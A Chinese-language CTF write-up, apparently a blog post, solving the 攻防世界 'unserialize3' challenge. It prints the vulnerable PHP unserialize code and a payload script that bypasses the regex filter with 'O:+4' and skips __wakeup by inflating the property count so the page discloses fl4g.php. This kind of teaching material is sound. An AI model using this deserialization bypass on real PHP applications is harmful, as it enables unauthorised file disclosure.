当前位置:网站首页>攻防世界Web进阶区unserialize3题解
攻防世界Web进阶区unserialize3题解
2022-07-07 22:09:00 【B_secretary】
<?php
class Demo {
private $file = 'index.php';
//构造函数,在变量创建时自动调用,__意为魔术方法,在符合条件时会自动调用
public function __construct($file) {
$this->file = $file;
//“->”在PHP中相当于Python的“.”,用于调用对象的方法
}
//析构函数,在变量销毁时自动调用
function __destruct() {
echo @highlight_file($this->file, true);
}
//打印file中的内容,将文件显示给读者
/* highlight_file(filename,return) 函数对文件进行语法高亮显示,如果 return 参数被设置为true,那么该函数会返回被高亮处理的代码,而不是输出它们。
整段代码的意思就是当文件销毁时会输出$file的代码。at符号(@)在PHP中用作错误控制操作符。当表达式附加@符号时,将忽略该表达式可能生成的错误消息。*/
//在反序列化时会自动调用
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
//将文件名一律变为“index.php”
}
}
if (isset($_GET['var'])) {
/*判断变量var是否被创建,检测变量是否已设置并且非NULL,这段代码就是检测是否传递了get请求的var变量*/
$var = base64_decode($_GET['var']);
//将var解base64编码
if (preg_match('/[oc]:\d+:/i', $var)) {
//匹配var中是否有字符串
die('stop hacking!');
} else {
@unserialize($var);
//反序列化var,此时会调用wakeup函数
}
} else {
highlight_file("index.php");
//显示高亮index.php,这不是我们想要的结果
}
?>题目源码中告诉我们flag在f14g.php中,所以我们想要进入这个文件,那么payload需要满足:
1、不含有preg_match中过滤的字符串或者直接绕过preg_match函数
2、反序列化时绕过wakeup函数
所以我们用序列化的方式构造一个var传入,让变量的value等于f14g.php,那么变量销毁时就会通过析构函数显示f14g.php
构造payload代码:
<?php
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
$this->file = 'index.php';
}
}
}
$payload = new Demo('fl4g.php');//创建对象Demo,其file值为f14g.php
$payload = serialize($payload);//序列化操作
$payload = str_replace('O:4', 'O:+4',$payload);
//将其中的“0:4”换成“0:+4”从而绕过正则
$payload = str_replace(':1:', ':2:' ,$payload);
//将序列化中对象个数“1”改为“2”,从而绕过wakeup函数(序列化中记录对象个数的值比对象真正个数大即可绕过wakeup)
//序列化中不可打印的空白等价于%00,到时候需要在payload中加上
echo base64_encode($payload); //对参数进行 base64 编码并打印出来
?>边栏推荐
- Problems faced when connecting to sqlserver after downloading (I)
- C - linear table
- C language learning
- Ping error: unknown name or service
- 52岁的周鸿祎,还年轻吗?
- 【史上最详细】信贷中逾期天数统计说明
- Reading notes 004: Wang Yangming's quotations
- paddle入门-使用LeNet在MNIST实现图像分类方法二
- new和delete的底层原理以及模板
- Linkedblockingqueue source code analysis - add and delete
猜你喜欢

The result of innovation in professional courses such as robotics (Automation)

Daily question brushing record (16)
![[leetcode] 20. Valid brackets](/img/42/5a2c5ec6c1a7dbcdfb2226cdea6a42.png)
[leetcode] 20. Valid brackets

智慧监管入场,美团等互联网服务平台何去何从

【编程题】【Scratch二级】2019.09 制作蝙蝠冲关游戏

Detailed explanation of interview questions: the history of blood and tears in implementing distributed locks with redis

一键免费翻译300多页的pdf文档

Fully automated processing of monthly card shortage data and output of card shortage personnel information

FFA and ICGA angiography

Les mots ont été écrits, la fonction est vraiment puissante!
随机推荐
[研发人员必备]paddle 如何制作自己的数据集,并显示。
全自动化处理每月缺卡数据,输出缺卡人员信息
limit 与offset的用法(转载)
Magic fast power
C - linear table
Common selectors are
PostGIS learning
80% of the people answered incorrectly. Does the leaf on the apple logo face left or right?
Redis caching tool class, worth owning~
Uic564-2 Appendix 4 - flame retardant fire test: flame diffusion
数据湖(十五):Spark与Iceberg整合写操作
Kubectl's handy command line tool: Oh my Zsh tips and tricks
Notice on organizing the second round of the Southwest Division (Sichuan) of the 2021-2022 National Youth electronic information intelligent innovation competition
Problems faced when connecting to sqlserver after downloading (I)
How to measure whether the product is "just needed, high frequency, pain points"
Zhou Hongqi, 52 ans, est - il encore jeune?
Flask learning record 000: error summary
Relevant methods of sorting arrays in JS (if you want to understand arrays, it's enough to read this article)
Basic learning of SQL Server -- creating databases and tables with code
80%的人答错,苹果logo上的叶子到底朝左还是朝右?